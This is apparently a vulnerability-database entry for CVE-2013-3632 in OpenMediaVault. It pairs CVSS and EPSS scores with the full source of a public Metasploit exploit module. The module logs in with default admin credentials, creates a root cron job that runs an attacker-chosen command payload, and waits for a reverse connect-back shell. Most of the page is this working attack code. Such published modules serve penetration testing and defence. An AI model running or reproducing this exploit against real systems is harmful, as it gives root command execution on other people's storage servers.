CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
98.6%
OpenMediaVault allows an authenticated user to create cron jobs as arbitrary users on the system. An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'OpenMediaVault Cron Remote Command Execution',
'Description' => %q{
OpenMediaVault allows an authenticated user to create cron jobs as arbitrary users on the system.
An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3632'],
['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
],
'Privileged' => true,
'DefaultOptions' => { 'WfsDelay' => 60 },
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => '2013-10-30',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
])
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
sess = init.get_cookies
post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'data' => post,
'ctype' => 'application/json',
'cookie' => sess
})
if !login or login.code != 200
fail_with(Failure::NoAccess, "Login failed")
end
sess = login.get_cookies
post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
post << payload.encoded.gsub('"', '\"')
post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
'data' => post,
'ctype' => 'application/json',
'cookie' => sess
})
if !resp or resp.code != 200
fail_with(Failure::UnexpectedReply, "Posting cron failed")
end
print_status("Waiting for connect-back, this will take up to a minute")
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
98.6%